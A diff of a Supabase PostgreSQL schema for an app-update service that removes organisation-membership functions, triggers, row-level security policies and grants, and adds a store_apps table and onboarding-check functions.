-  return (select get_user_main_org_id(org_id));
-End;
-$$;
-
--- This is not important, however is a good example of how to return a setof a custom type
--- Returns a set of custom type is compicated, and this shows how to do it
--- CREATE FUNCTION "public"."get_orgs_v2"("userid" "uuid") RETURNS setof "public"."owned_orgs"
---     LANGUAGE "plpgsql"
---     AS $$
--- DECLARE
---     members_size integer := 0;
---     owner_org "public"."owned_orgs";
---     result owned_orgs%rowtype;
--- BEGIN
---   FOR result in select o.id, o.created_by, o.logo, o.name, org_users.user_right::varchar from orgs as o
---   join org_users on org_users.user_id=get_orgs_v2.userid
---   where o.created_by != get_orgs_v2.userid
---   LOOP
---     members_size := members_size + 1;
---     return next result;
---   end LOOP;
-
---   select o.id, o.created_by, o.logo, o.name, 'owner' as "role" from orgs as o
---   into owner_org
---   where o.created_by = get_orgs_v2.userid;
-
---   return next owner_org;
--- END;  
--- $$;
-
 CREATE OR REPLACE FUNCTION "public"."count_all_need_upgrade"() RETURNS integer
     LANGUAGE "plpgsql"
     AS $$
@@ -428,7 +252,7 @@ Begin
   FROM app_versions
   WHERE app_id=appid
   AND name=name_version
-  AND user_id=get_user_id(apikey, appid)));
+  AND user_id=get_user_id(apikey)));
 End;  
 $$;
 
@@ -487,7 +311,7 @@ Begin
   FROM app_versions
   WHERE app_id=appid
   AND name=name_version
-  AND user_id=get_user_id(apikey, appid));
+  AND user_id=get_user_id(apikey));
 End;  
 $$;
 
@@ -510,16 +334,6 @@ Begin
 End;  
 $$;
 
-CREATE FUNCTION "public"."get_orgs"("userid" "uuid") RETURNS TABLE(id uuid, logo text, name text)
-    LANGUAGE "plpgsql"
-    AS $$
-BEGIN
-  RETURN QUERY
-    SELECT orgs.id, orgs.logo, orgs.name from orgs
-    WHERE is_member_of_org(userid, orgs.id) or is_owner_of_org(userid, orgs.id);
-END;  
-$$;
-
 CREATE OR REPLACE FUNCTION public.get_current_plan_max()
 RETURNS character varying
 LANGUAGE plpgsql
@@ -694,32 +508,6 @@ Begin
 End;  
 $$;
 
-CREATE FUNCTION "public"."get_user_id"("apikey" "text", "app_id" "text") RETURNS "uuid"
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-Declare  
- org_owner_id uuid;
- real_user_id uuid;
- org_id uuid;
-Begin
-  SELECT apps.user_id FROM apps WHERE apps.app_id=get_user_id.app_id into org_owner_id;
-  SELECT get_user_main_org_id(org_owner_id) INTO org_id;
-
-  -- (public.is_member_of_org(auth.uid(), org_id) OR public.is_owner_of_org(auth.uid(), org_id))
-  SELECT user_id
-  INTO real_user_id
-  FROM apikeys
-  WHERE key=apikey;
-
-  IF NOT ((public.is_member_of_org(real_user_id, org_id) OR public.is_owner_of_org(real_user_id, org_id)))
-  THEN
-    raise exception 'NO_RIGHTS';
-  END IF;
-
-  RETURN org_owner_id;
-End;  
-$$;
-
 CREATE OR REPLACE FUNCTION "public"."has_min_right"("_userid" "uuid", "_orgid" "uuid", "_right" "public"."user_min_right", "_appid" character varying DEFAULT NULL::character varying, "_channelid" bigint DEFAULT NULL::bigint) RETURNS boolean
     LANGUAGE "plpgsql"
     AS $$
@@ -761,120 +549,6 @@ BEGIN
 END;
 $$;
 
-CREATE FUNCTION "public"."invite_user_to_org"("email" "varchar", "org_id" "uuid", "invite_type" "public"."user_min_right") RETURNS "varchar"
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-Declare  
-  org record;
-  invited_user record;
-  current_record record;
-Begin
-  SELECT * FROM ORGS
-  INTO org
-  WHERE orgs.id=invite_user_to_org.org_id;
-
-  IF org IS NULL THEN
-    return 'NO_ORG';
-  END IF;
-
-  IF NOT (org.created_by=auth.uid()) THEN
-      if NOT (check_min_rights('admin'::user_min_right, auth.uid(), invite_user_to_org.org_id, NULL::character varying, NULL::bigint)) THEN
-          return 'NO_RIGHTS';
-      END IF;
-  END IF;
-
-  SELECT users.id FROM USERS
-  INTO invited_user
-  WHERE users.email=invite_user_to_org.email;
-
-  IF invited_user IS NOT NULL THEN
-    -- INSERT INTO org_users (user_id, org_id, user_right)
-    -- VALUES (invited_user.id, invite_user_to_org.org_id, invite_type);
-
-    IF (org.created_by=invited_user.id) THEN
-      RETURN 'CAN_NOT_INVITE_OWNER';
-    END IF;
-
-    SELECT org_users.id from org_users 
-    INTO current_record
-    WHERE org_users.user_id=invited_user.id
-    AND org_users.org_id=invite_user_to_org.org_id;
-
-    IF current_record IS NOT NULL THEN
-      RETURN 'ALREADY_INVITED';
-    ELSE
-      INSERT INTO org_users (user_id, org_id, user_right)
-      VALUES (invited_user.id, invite_user_to_org.org_id, invite_type);
-      
-      RETURN 'OK';
-    END IF;
-  ELSE
-    return 'NO_EMAIL';
-  END IF;
-End;
-$$;
-
-CREATE FUNCTION "public"."accept_invitation_to_org"("org_id" "uuid") RETURNS varchar
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-Declare  
- invite record;
-Begin
-  SELECT org_users.* FROM org_users
-  INTO invite
-  WHERE org_users.org_id=accept_invitation_to_org.org_id and auth.uid()=org_users.user_id;
-
-  IF invite IS NULL THEN
-    return 'NO_INVITE';
-  else
-    IF NOT (invite.user_right::varchar ilike 'invite_'||'%') THEN
-      return 'INVALID_ROLE';
-    END IF;
-
-    UPDATE org_users
-    SET user_right = REPLACE(invite.user_right::varchar, 'invite_', '')::user_min_right
-    WHERE org_users.id=invite.id;
-
-    return 'OK';
-  end if;
-End;
-$$;
-
-CREATE FUNCTION "public"."increment_stats"("app_id" character varying, "date_id" character varying, "bandwidth" integer, "version_size" integer, "channels" integer, "shared" integer, "mlu" integer, "mlu_real" integer, "versions" integer, "devices" integer) RETURNS "void"
-    LANGUAGE "sql"
-    AS $$
-  update app_stats 
-  set bandwidth = app_stats.bandwidth + increment_stats.bandwidth,
-    version_size = app_stats.version_size + increment_stats.version_size,
-    channels = app_stats.channels + increment_stats.channels,
-    shared = app_stats.shared + increment_stats.shared,
-    mlu = app_stats.mlu + increment_stats.mlu,
-    devices = app_stats.devices + increment_stats.devices,
-    mlu_real = app_stats.mlu_real + increment_stats.mlu_real,
-    versions = app_stats.versions + increment_stats.versions
-  where app_stats.date_id = increment_stats.date_id and
-  app_stats.app_id = increment_stats.app_id
-$$;
-
-
-CREATE FUNCTION "public"."increment_stats_v2"("app_id" character varying, "date_id" character varying, "bandwidth" integer, "version_size" integer, "channels" integer, "shared" integer, "mlu" integer, "mlu_real" integer, "versions" integer, "devices" integer, "devices_real" integer) RETURNS "void"
-    LANGUAGE "sql"
-    AS $$
-  update app_stats 
-  set bandwidth = app_stats.bandwidth + increment_stats_v2.bandwidth,
-    version_size = app_stats.version_size + increment_stats_v2.version_size,
-    channels = app_stats.channels + increment_stats_v2.channels,
-    shared = app_stats.shared + increment_stats_v2.shared,
-    mlu = app_stats.mlu + increment_stats_v2.mlu,
-    devices = app_stats.devices + increment_stats_v2.devices,
-    devices_real = app_stats.devices_real + increment_stats_v2.devices_real,
-    mlu_real = app_stats.mlu_real + increment_stats_v2.mlu_real,
-    versions = app_stats.versions + increment_stats_v2.versions
-  where app_stats.date_id = increment_stats_v2.date_id and
-  app_stats.app_id = increment_stats_v2.app_id
-$$;
-
-
 CREATE OR REPLACE FUNCTION "public"."increment_store"("app_id" character varying, "updates" integer)
 RETURNS void AS $$
 BEGIN
@@ -911,14 +585,6 @@ Begin
 End;
 $$;
 
-CREATE FUNCTION "public"."is_allowed_action"("apikey" "text", "appid" "text") RETURNS boolean
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-Begin
-  RETURN is_allowed_action_user(get_user_id(apikey, appid));
-End;
-$$;
-
 -- TODO: use auth.uid() instead of passing it as argument for better security
 CREATE OR REPLACE FUNCTION "public"."is_allowed_action_user"("userid" "uuid") RETURNS boolean
     LANGUAGE "plpgsql" SECURITY DEFINER
@@ -959,29 +625,6 @@ Begin
 End;  
 $$;
 
-CREATE FUNCTION "public"."is_allowed_capgkey"("apikey" "text", "keymode" "public"."key_mode"[], "app_id" character varying, "right" "public"."user_min_right", "user_id" "uuid") RETURNS boolean
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-Begin
-  RETURN (SELECT EXISTS (SELECT 1
-  FROM apikeys
-  WHERE key=apikey
-  AND mode=ANY(keymode))) AND (is_app_owner(get_user_id(apikey), app_id) OR check_min_rights(is_allowed_capgkey.right, get_user_id(apikey), get_user_main_org_id(user_id), app_id, NULL::bigint));
-End;  
-$$;
-
-CREATE FUNCTION "public"."is_allowed_capgkey"("apikey" "text", "keymode" "public"."key_mode"[], "app_id" character varying, "channel_id" int8, "right" "public"."user_min_right", "user_id" "uuid") RETURNS boolean
-    LANGUAGE "plpgsql" SECURITY DEFINER
-    AS $$
-Begin
-  RETURN (SELECT EXISTS (SELECT 1
-  FROM apikeys
-  WHERE key=apikey
-  AND mode=ANY(keymode))) AND (is_app_owner(get_user_id(apikey), app_id) OR check_min_rights(is_allowed_capgkey.right, get_user_id(apikey), get_user_main_org_id(user_id), app_id, "is_allowed_capgkey"."channel_id"));
-End;
-$$;
-
-
 CREATE OR REPLACE FUNCTION "public"."is_allowed_action"("apikey" text, "appid" character varying)
  RETURNS boolean
  LANGUAGE plpgsql
@@ -1360,68 +1003,26 @@ Begin
 End; 
 $$;
 
-CREATE OR REPLACE FUNCTION "public"."force_valid_user_id"() RETURNS trigger
-   LANGUAGE plpgsql AS
-$$BEGIN
-    IF NEW."user_id" <> (select user_id from apps where app_id=NEW."app_id") THEN
-        RAISE EXCEPTION 'INVALID_USER_ID';
-    END IF;
-
-    RETURN NEW;
-END;$$;
-
-CREATE OR REPLACE FUNCTION "public"."noupdate"() RETURNS trigger
-   LANGUAGE plpgsql AS $$
-DECLARE
-    val RECORD;
-    is_diffrent boolean;
-BEGIN
-    -- API key? We do not care
-    IF auth.uid() IS NULL THEN
-        RETURN NEW;
-    END IF;
-
-    -- If the user is an admin, we do not care
-    IF (is_app_owner(auth.uid(), OLD.app_id) OR is_admin(auth.uid())) THEN
-        RETURN NEW;
-    END IF;
-
-    -- If the user has the 'admin' role then we do not care
-    IF check_min_rights('admin'::user_min_right, auth.uid(), get_user_main_org_id(OLD.created_by), NULL::character varying, NULL::bigint) THEN
-        RETURN NEW;
-    END IF;
-
-    for val in
-      select * from json_each_text(row_to_json(NEW))
-    loop
-      -- raise warning '?? % % %', val.key, val.value, format('SELECT (NEW."%s" <> OLD."%s")', val.key, val.key);
-
-      EXECUTE format('SELECT ($1."%s" is distinct from $2."%s")', val.key, val.key) using NEW, OLD
-      INTO is_diffrent;
-
-      IF is_diffrent AND val.key <> 'version' AND val.key <> 'secondVersion' AND key.value <> 'updated_at' THEN
-          RAISE EXCEPTION 'not allowed %', val.key;
-      END IF;
-    end loop;
-
-   RETURN NEW;
-END;$$;
-
-CREATE OR REPLACE FUNCTION "public"."prevent_steal_org"() RETURNS trigger
-   LANGUAGE plpgsql AS
-$$BEGIN
-   IF NEW.created_by IS DISTINCT FROM OLD.created_by
-   THEN
-      RAISE EXCEPTION '"created_by" must not be updated';
-   END IF;
-
-    IF NEW.id IS DISTINCT FROM OLD.id
-   THEN
-      RAISE EXCEPTION '"id" must not be updated';
-   END IF;
+-- TODO: use auth.uid() instead of passing it as argument for better security
+CREATE OR REPLACE FUNCTION "public"."is_onboarded"("userid" "uuid") RETURNS boolean
+    LANGUAGE "plpgsql" SECURITY DEFINER
+    AS $$
+Begin
+  RETURN (SELECT EXISTS (SELECT 1
+  FROM apps
+  WHERE user_id=userid)) AND (SELECT EXISTS (SELECT 1
+  FROM app_versions
+  WHERE user_id=userid));
+End;
+$$;
 
-   RETURN NEW;
-END;$$;
+CREATE OR REPLACE FUNCTION "public"."is_onboarded"() RETURNS boolean
+    LANGUAGE "plpgsql"
+    AS $$
+Begin
+  RETURN is_onboarded(auth.uid());
+End;
+$$;
 
 -- TODO: use auth.uid() instead of passing it as argument for better security
 CREATE OR REPLACE FUNCTION "public"."is_onboarding_needed"("userid" "uuid") RETURNS boolean
@@ -2222,6 +1823,39 @@ CREATE TABLE "public"."stats" (
     "app_id" character varying NOT NULL
 );
 
+CREATE TABLE "public"."store_apps" (
+    "created_at" timestamp with time zone DEFAULT "now"(),
+    "url" "text" DEFAULT ''::"text" NOT NULL,
+    "app_id" "text" NOT NULL,
+    "title" "text" DEFAULT ''::"text" NOT NULL,
+    "summary" "text" DEFAULT ''::"text" NOT NULL,
+    "icon" "text" DEFAULT ''::"text" NOT NULL,
+    "free" boolean DEFAULT true NOT NULL,
+    "category" "text" DEFAULT ''::"text" NOT NULL,
+    "capacitor" boolean DEFAULT false NOT NULL,
+    "developer_email" "text" DEFAULT ''::"text" NOT NULL,
+    "installs" bigint DEFAULT '0'::bigint NOT NULL,
+    "developer" "text" DEFAULT ''::"text" NOT NULL,
+    "score" double precision DEFAULT '0'::double precision NOT NULL,
+    "to_get_framework" boolean DEFAULT true NOT NULL,
+    "onprem" boolean DEFAULT false NOT NULL,
+    "updates" bigint DEFAULT '0'::bigint NOT NULL,
+    "to_get_info" boolean DEFAULT true NOT NULL,
+    "error_get_framework" "text" DEFAULT ''::"text" NOT NULL,
+    "to_get_similar" boolean DEFAULT true NOT NULL,
+    "error_get_similar" "text" DEFAULT ''::"text" NOT NULL,
+    "updated_at" timestamp with time zone DEFAULT "now"() NOT NULL,
+    "error_get_info" "text" DEFAULT ''::"text" NOT NULL,
+    "cordova" boolean DEFAULT false NOT NULL,
+    "react_native" boolean DEFAULT false NOT NULL,
+    "capgo" boolean DEFAULT false NOT NULL,
+    "kotlin" boolean DEFAULT false NOT NULL,
+    "flutter" boolean DEFAULT false NOT NULL,
+    "native_script" boolean DEFAULT false NOT NULL,
+    "lang" "text",
+    "developer_id" "text"
+);
+
 CREATE OR REPLACE FUNCTION public.remove_enum_value(enum_type regtype, enum_value text)
  RETURNS void
  LANGUAGE plpgsql
@@ -2238,7 +1872,7 @@ BEGIN
 END;
 $$;
 
-CREATE OR REPLACE FUNCTION public.one_month_ahead() 
+CREATE OR REPLACE FUNCTION public.one_month_ahead()
 RETURNS timestamp AS 
 $$
 BEGIN
@@ -2558,26 +2192,6 @@ CREATE TRIGGER "handle_updated_at" BEFORE UPDATE ON "public"."stripe_info" FOR E
 
 CREATE TRIGGER "handle_updated_at" BEFORE UPDATE ON "public"."users" FOR EACH ROW EXECUTE FUNCTION "extensions"."moddatetime"('updated_at');
 
-CREATE TRIGGER noupdate
-   BEFORE UPDATE ON "public"."channels" FOR EACH ROW
-   EXECUTE PROCEDURE "public"."noupdate"();
-
-CREATE TRIGGER force_valid_user_id
-   BEFORE INSERT ON "public"."app_versions" FOR EACH ROW
-   EXECUTE PROCEDURE "public"."force_valid_user_id"();
-
-CREATE TRIGGER prevent_steal_org
-   BEFORE UPDATE ON "public"."orgs" FOR EACH ROW
-   EXECUTE PROCEDURE "public"."prevent_steal_org"();
-
-CREATE OR REPLACE FUNCTION "public"."is_onboarded"() RETURNS boolean
-    LANGUAGE "plpgsql"
-    AS $$
-Begin
-  RETURN is_onboarded(auth.uid());
-End;
-$$;
-
 ALTER TABLE ONLY "public"."apikeys"
     ADD CONSTRAINT "apikeys_user_id_fkey" FOREIGN KEY ("user_id") REFERENCES "public"."users"("id") ON DELETE CASCADE;
 
@@ -2659,9 +2273,6 @@ ALTER TABLE ONLY "public"."org_users"
 ALTER TABLE ONLY "public"."org_users"
     ADD CONSTRAINT "org_users_user_id_fkey" FOREIGN KEY ("user_id") REFERENCES "public"."users"("id") ON DELETE CASCADE;
 
-ALTER TABLE ONLY "public"."orgs"
-    ADD CONSTRAINT "orgs_created_by_fkey" FOREIGN KEY ("created_by") REFERENCES "public"."users"("id") ON DELETE CASCADE;
-
 ALTER TABLE ONLY "public"."stripe_info"
     ADD CONSTRAINT "stripe_info_product_id_fkey" FOREIGN KEY ("product_id") REFERENCES "public"."plans"("stripe_id");
 
@@ -2693,7 +2304,7 @@ CREATE POLICY "Allow apikey to insert" ON "public"."apps" FOR INSERT TO "anon" W
 
 CREATE POLICY "Allow apikey to read" ON "public"."stats" FOR SELECT TO "anon" USING ("public"."is_allowed_capgkey"((("current_setting"('request.headers'::"text", true))::"json" ->> 'capgkey'::"text"), '{all,write}'::"public"."key_mode"[], "app_id"));
 
-CREATE POLICY "Allow apikey to select" ON "public"."app_versions" FOR SELECT TO "anon" USING (("public"."is_allowed_capgkey"((("current_setting"('request.headers'::text, true))::json ->> 'capgkey'::text), '{read,all}'::"public"."key_mode"[], "app_id") OR "public"."is_allowed_capgkey"((("current_setting"('request.headers'::text, true))::json ->> 'capgkey'::text), '{read,all}'::"public"."key_mode"[], "app_id", 'read'::"public"."user_min_right", "user_id")));
+CREATE POLICY "Allow apikey to select" ON "public"."app_versions" FOR SELECT TO "anon" USING ("public"."is_allowed_capgkey"((("current_setting"('request.headers'::"text", true))::"json" ->> 'capgkey'::"text"), '{read,all}'::"public"."key_mode"[], "app_id"));
 
 CREATE POLICY "Allow apikey to update they app" ON "public"."apps" FOR UPDATE TO "anon" USING ("public"."is_allowed_capgkey"((("current_setting"('request.headers'::"text", true))::"json" ->> 'capgkey'::"text"), '{all,write}'::"public"."key_mode"[], "app_id")) WITH CHECK ("public"."is_allowed_capgkey"((("current_setting"('request.headers'::"text", true))::"json" ->> 'capgkey'::"text"), '{all,write}'::"public"."key_mode"[], "app_id"));
 
@@ -2705,25 +2316,9 @@ CREATE POLICY "Allow app owner to read" ON "public"."stats" FOR SELECT TO "authe
 
 CREATE POLICY "Allow org admin to all" ON "public"."org_users" TO "authenticated" USING ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "org_id", NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "org_id", NULL::character varying, NULL::bigint));
 
-CREATE POLICY "Allow org admin to update (name and logo)" ON "public"."orgs" FOR UPDATE TO "authenticated" USING ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "id", NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "id", NULL::character varying, NULL::bigint));
-
-CREATE POLICY "Allow org member (write) to update" ON "public"."app_versions" FOR UPDATE TO "authenticated" USING ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id"(user_id), NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id"(user_id), NULL::character varying, NULL::bigint));
-
-CREATE POLICY "Allow org member (write) to insert" ON "public"."devices_override" FOR INSERT TO "authenticated" WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
-
-CREATE POLICY "Allow org member (write) to delete" ON "public"."devices_override" FOR DELETE TO "authenticated" USING ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
-
-CREATE POLICY "Allow org member to read" ON "public"."devices_override" FOR SELECT TO "authenticated" USING ("public"."check_min_rights"('read'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
-
-CREATE POLICY "Allow org member (write) to insert" ON "public"."channel_devices" FOR INSERT TO "authenticated" WITH CHECK ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
-
-CREATE POLICY "Allow org member (write) to delete" ON "public"."channel_devices" FOR DELETE TO "authenticated" USING ("public"."check_min_rights"('write'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
-
-CREATE POLICY "Allow org member to read" ON "public"."channel_devices" FOR SELECT TO "authenticated" USING ("public"."check_min_rights"('read'::"public"."user_min_right", "auth"."uid"(), "public"."get_user_main_org_id_by_app_id"(app_id), app_id, NULL::bigint));
-
 CREATE POLICY "Allow owner to all" ON "public"."app_versions" TO "authenticated" USING (("public"."is_app_owner"("auth"."uid"(), "app_id") OR "public"."is_admin"("auth"."uid"()))) WITH CHECK (("public"."is_app_owner"("auth"."uid"(), "app_id") OR "public"."is_admin"("auth"."uid"())));
 
-CREATE POLICY "Allow owner to all" ON "public"."orgs" TO "authenticated" USING ("auth"."uid"() = created_by) WITH CHECK ("auth"."uid"() = created_by);
+CREATE POLICY "Allow owner to all" ON "public"."orgs" TO "authenticated" USING ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "id", NULL::character varying, NULL::bigint)) WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", "auth"."uid"(), "id", NULL::character varying, NULL::bigint));
 
 CREATE POLICY "Allow owner to listen insert" ON "public"."app_versions" FOR INSERT TO "authenticated" WITH CHECK (("public"."is_app_owner"("auth"."uid"(), "app_id") OR "public"."is_admin"("auth"."uid"())));
 
@@ -2743,105 +2338,11 @@ CREATE POLICY "Allow user to self get" ON "public"."stripe_info" FOR SELECT TO "
    FROM "public"."users"
   WHERE (("users"."customer_id")::"text" = ("users"."customer_id")::"text"))) OR "public"."is_admin"("auth"."uid"())));
 
-CREATE POLICY "Allow memeber and owner to select" ON "public"."org_users"
-AS PERMISSIVE FOR SELECT
-TO public
-USING ((public.is_member_of_org(auth.uid(), org_id) OR public.is_owner_of_org(auth.uid(), org_id)));
-
-CREATE POLICY "Allow to self delete" ON "public"."org_users"
-AS PERMISSIVE FOR DELETE
-TO public
-USING ((user_id=auth.uid()));
-
-CREATE POLICY "Allow org member to select" ON "public"."apps"
-AS PERMISSIVE FOR SELECT
-TO authenticated
-USING (public.check_min_rights('read'::"public"."user_min_right", auth.uid(), public.get_user_main_org_id(user_id), NULL::character varying, NULL::bigint));
-
-CREATE POLICY "Allow member or owner to select" ON "public"."orgs"
-AS PERMISSIVE FOR SELECT
-TO authenticated
-USING (public.is_member_of_org(auth.uid(), id) OR public.is_owner_of_org(auth.uid(), id));
-
-CREATE POLICY "Allow org members to select" ON "public"."channels"
-AS PERMISSIVE FOR SELECT
-TO authenticated
-USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint));
-
-CREATE POLICY "Allow org members to select" ON "public"."app_versions"
-AS PERMISSIVE FOR SELECT
-TO authenticated
-USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(user_id), app_id, NULL::bigint));
-
-CREATE POLICY "Allow org admins to edit" ON "public"."channels"
-AS PERMISSIVE FOR UPDATE
-TO authenticated
-USING ("public"."check_min_rights"('admin'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint))
-WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint));
-
-CREATE POLICY "Allow org admins to insert" ON "public"."channels"
-AS PERMISSIVE FOR INSERT
-TO authenticated
-WITH CHECK ("public"."check_min_rights"('admin'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(created_by), NULL::character varying, NULL::bigint));
-
--- CREATE POLICY "Allow org member to select " ON "public"."app_stats"
--- AS PERMISSIVE FOR SELECT
--- TO authenticated
--- USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id"(user_id), app_id, NULL::bigint));
-
-CREATE POLICY "Allow org members to select" ON "public"."devices"
-AS PERMISSIVE FOR SELECT
-TO public
-USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id_by_app_id"(app_id::TEXT), app_id, NULL::bigint));
-
-CREATE POLICY "Allow org members to select" ON "public"."app_usage"
-AS PERMISSIVE FOR SELECT
-TO public
-USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id_by_app_id"(app_id::TEXT), app_id, NULL::bigint));
-
-CREATE POLICY "Allow org members to select" ON "public"."app_versions_meta"
-AS PERMISSIVE FOR SELECT
-TO public
-USING ("public"."check_min_rights"('read'::"public"."user_min_right", auth.uid(), "public"."get_user_main_org_id_by_app_id"(app_id::TEXT), app_id, NULL::bigint));
-
-CREATE POLICY "Allow org owner to all" ON "public"."org_users"
-AS PERMISSIVE FOR ALL
-TO authenticated
-USING ("public"."is_owner_of_org"(auth.uid(), org_id))
-WITH CHECK ("public"."is_owner_of_org"(auth.uid(), org_id));
-
-CREATE POLICY "Allow org member's API key to select" ON "public"."apps"
-AS PERMISSIVE FOR SELECT
-TO anon
-USING ("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{all,write,read}'::"public"."key_mode"[], app_id, 'read'::"public"."user_min_right", user_id));
-
-CREATE POLICY "Allow org member's api key to select" ON "public"."channels"
-AS PERMISSIVE FOR SELECT
-TO anon
-USING ("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{read, upload, write, all}'::"public"."key_mode"[], app_id, channels.id, 'read'::"public"."user_min_right", created_by));
-
-CREATE POLICY "Allow org member's apikey to insert" ON "public"."app_versions"
-AS PERMISSIVE FOR INSERT
-TO anon
-WITH CHECK (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'upload'::"public"."user_min_right", user_id) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)));
-
-CREATE POLICY "Allow org member's apikey to update" ON "public"."app_versions"
-AS PERMISSIVE FOR UPDATE
-TO anon
-USING (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'upload'::"public"."user_min_right", user_id) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)))
-WITH CHECK (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'upload'::"public"."user_min_right", user_id) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)));
-
-CREATE POLICY "Allow org member's api key to update" ON "public"."channels"
-AS PERMISSIVE FOR UPDATE
-TO anon
-USING (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'write'::"public"."user_min_right", created_by) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)))
-WITH CHECK (("public"."is_allowed_capgkey"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), '{upload,write,all}'::"public"."key_mode"[], app_id, NULL::bigint, 'write'::"public"."user_min_right", created_by) AND "public"."is_allowed_action"(((current_setting('request.headers'::text, true))::json ->> 'capgkey'::text), app_id)));
-
 CREATE POLICY "Disable for all" ON "public"."notifications" USING (false) WITH CHECK (false);
 
 CREATE POLICY "Disable for all" ON "public"."store_apps" USING (false) WITH CHECK (false);
 
-CREATE POLICY "Enable all for user based on user_id" ON "public"."apikeys" FOR ALL TO "authenticated" USING ((("auth"."uid"() = "user_id") OR "public"."is_admin"("auth"."uid"()))) WITH CHECK ((("auth"."uid"() = "user_id") OR "public"."is_admin"("auth"."uid"())));
+CREATE POLICY "Enable all for user based on user_id" ON "public"."apikeys" FOR SELECT TO "authenticated" USING ((("auth"."uid"() = "user_id") OR "public"."is_admin"("auth"."uid"())));
 
 CREATE POLICY "Enable select for authenticated users only" ON "public"."plans" FOR SELECT TO "authenticated" USING (true);
 
@@ -2938,16 +2439,6 @@ GRANT USAGE ON SCHEMA "public" TO "anon";
 GRANT USAGE ON SCHEMA "public" TO "authenticated";
 GRANT USAGE ON SCHEMA "public" TO "service_role";
 
-GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO "postgres";
-GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO "anon";
-GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO "authenticated";
-GRANT ALL ON FUNCTION "public"."check_min_rights"("min_right" "public"."user_min_right", "user_id" "uuid", "org_id" "uuid", "app_id" character varying, "channel_id" bigint) TO "service_role";
-
-REVOKE EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) FROM PUBLIC;
-GRANT EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) TO anon;
-GRANT EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) TO authenticated;
-GRANT EXECUTE ON FUNCTION "public"."get_user_main_org_id"("user_id" uuid) TO postgres;
-
 GRANT ALL ON FUNCTION "public"."convert_bytes_to_gb"("byt" double precision) TO "postgres";
 GRANT ALL ON FUNCTION "public"."convert_bytes_to_gb"("byt" double precision) TO "anon";
 GRANT ALL ON FUNCTION "public"."convert_bytes_to_gb"("byt" double precision) TO "authenticated";
@@ -2973,11 +2464,6 @@ GRANT ALL ON FUNCTION "public"."convert_number_to_percent"("val" double precisio
 GRANT ALL ON FUNCTION "public"."convert_number_to_percent"("val" double precision, "max_val" double precision) TO "authenticated";
